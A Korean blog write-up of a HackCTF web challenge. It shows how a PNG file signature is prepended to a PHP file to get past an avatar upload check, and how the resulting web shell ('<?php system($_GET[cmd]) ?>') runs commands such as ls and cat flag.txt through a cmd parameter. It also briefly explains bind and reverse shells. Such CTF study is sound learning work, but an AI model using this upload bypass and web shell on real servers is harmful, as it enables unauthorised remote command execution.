Information Security ˗ˋˏ ♡ ˎˊ˗

Security/WebHacking

[HackCTF Web] 가위바위보 (파일 업로드 취약점)

토오쓰 2021. 2. 3. 21:12

ctf.j0n9hyun.xyz/challenges#%EA%B0%80%EC%9C%84%EB%B0%94%EC%9C%84%EB%B3%B4

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

 

 

문제

 

가위바위보 그림을 클릭하면 게임이 시작된다.

다음 페이지

 

선택하면 게임이 시작되면서 이겼는지, 비겼는지 그리고 졌는지 결과가 나오는 페이지이다.

게임 마지막 페이지

 

그리고 게임하는 페이지만 있는 것이 아니라 이름과 프로필 사진을 변경할 수 있는 페이지도 존재한다. 

해당 페이지 이름은 settings.php이다.

settings.php

 

 

풀이

지금 설정되어있는 이름은 kaa으로 설정되어있다.

 

정상적인 페이지에서 어떻게 문제를 해결할 수 있는가 생각해보았을때, 가장 먼저 소스코드를 확인하는 것이었다.

메인페이지에서는 자바스크립트가 있고 게임을 진행하는 코드가 존재하였다.

큰 힌트를 찾지는 못했다.

 

다음으로 settings.php 페이지의 소스코드를 살펴보았다.

settings.php 소스코드

 

해당 소스코드에서는 /settings.php라고 링크가 걸려있기 때문에 명령어 cd를 한 번 넣어보았다.

cd를 넣었을때만 나타나는 화면이 아니라 다른 명령어를 입력해도 같은 화면이 나타난다.

 

또한 이미지의 위치가 ctf.j0n9hyun.xyz:2037/avatars/kaa로 설정되어있는데 실제 케이크 이미지는 해당 위치가 아니며, 파일의 위치 이름이 사용자 이름으로 되어있다.

혹시나 사용자 이름을 php 파일로 한다면 php 파일이 브라우저 상으로 나타날 수 있다고 생각이 들어 php 파일을 만들어보았다.

직접 만든 kaa.php 파일

사용자 이름으로 kaa.php로 이미지 변경이 가능하지만, 파일이 올라가지 않는다.

왜냐하면 이미지 파일이 아니기 때문이다.

 

 

이미지 파일임을 증명하기 위해서 php 파일의 파일 시그니처를 PNG 파일로 삽입하기로 하였다.

PNG 파일의 시그니처: P N G(89 50 4E 47 0D 0A 1A 0A)

HXD Tool

시그니처를 추가하기 위해 HxD 툴을 사용하여 PNG 파일의 시그니처를 추가하고 파일을 다시 업로드해보았다.

 

변경성공

그리고 나서 해당 페이지로 이동해보았다.

http://ctf.j0n9hyun.xyz:2037/avatars/kaa.php

여기서 어려움을 겪었다. 어떻게 해야 avatars 경로로 이동하여 그 안에 있는 파일이나 어떤 식으로 동작이 되는 것인지 살펴볼 수 있을까 고민하였다.

 

해당 kaa.php 파일 안에 cmd라는 변수에 GET방식으로 값을 전달받아서 system 함수를 호출할 수 있도록 하였다.

이때 알게된 지식이 파일 업로드 취약점이었다.

 

HxD tool

 

kaa.php 파일을 변경해주고 system 명령어를 사용하여 GET 방식으로 전달하였다.

http://ctf.j0n9hyun.xyz:2037/avatars/kaa.php?cmd=ls

 

ctf.j0n9hyun.xyz:2037/avatars/kaa.php?cmd=cd%20../;ls 명령어를 이용하여 avatars 위치에 어떤 파일이 있는지 확인한다.

http://ctf.j0n9hyun.xyz:2037/avatars/kaa.php?cmd=cd%20../;ls

 

flag.txt 파일을 cat 명령어를 통해서 열었더니 flag 값이 존재하였다.

http://ctf.j0n9hyun.xyz:2037/avatars/kaa.php?cmd=cd%20../;ls;cat%20flag.txt

 

 

 

 

알게 된 지식

파일 업로드 취약점 

- 파일 업로드 기능을 사용해서 공격자가 원하는 웹 쉘을 해당 서버에 올려서 원하는 행동을 취할 수 있도록 하는 취약점

- 파일 업로드 취약점이 생기는 이유로 게시판에 확장자 php, jsp, asp 등의 확장자를 가진 파일을 업로드하는 것을 서버에서 막지 않는다면 파일 업로드 취약점이 생기며 공격자가 원하는 공격을 시도할 수 있다. 확장자를 막는다고 해도 공격자가 우회기법을 사용하여 파일을 올릴 수만 있다면 공격을 성공한다.

 

PHP 파일 업로드 취약점

- PHP 소스파일이 서버에 존재하며 웹 브라우저에서 접근이 가능하다.

- 확장자가 무조건 php만 가능하고 위에 두가지 조건을 성립해야한다.

- 우회하는 방법으로는 php 확장자를 .php만 가능한 것이 아니라 다른 확장자도 가능하도록 설정파일에서 설정해주면 다른 확장자도 php파일 역할을 하게 된다.

 

웹 쉘

- 웹을 통해서 명령어를 입력할 수 있다.

- 가장 기본적인 형태: <?php system($_GET[cmd]) ?>

- cmd 창 사용이 가능해진다.

 

바인드 쉘: TCP를 이용한 원격 쉘 획득

리버스 쉘: 강제로 서버 쪽에서 포트를 열었을때 방화벽 때문에 안될 경우에는 반대로 공격자(클라이언트)가 포트를 열고 서버에서 클라이언트 방향으로 방화벽을 우회하는 기법이다.

 

 

 

 

 

 

참고

forensic-proof.com/archives/300

 

파일 시그니처 모음 (Common File Signatures) | FORENSIC-PROOF

 

forensic-proof.com

kevinthegrey.tistory.com/38

 

2-4) PHP 파일업로드 취약점을 이용한 공격, 원격쉘

공격의 특징들이 언어의 특징을 많이 따라간다. XSS 를 이용하는데 PHP의 특징을 이용하긴 쉽지않다.  · XSS → Javascript → 불특정 다수를 대상  · Server script language → php 를 이용 php는 특정..

kevinthegrey.tistory.com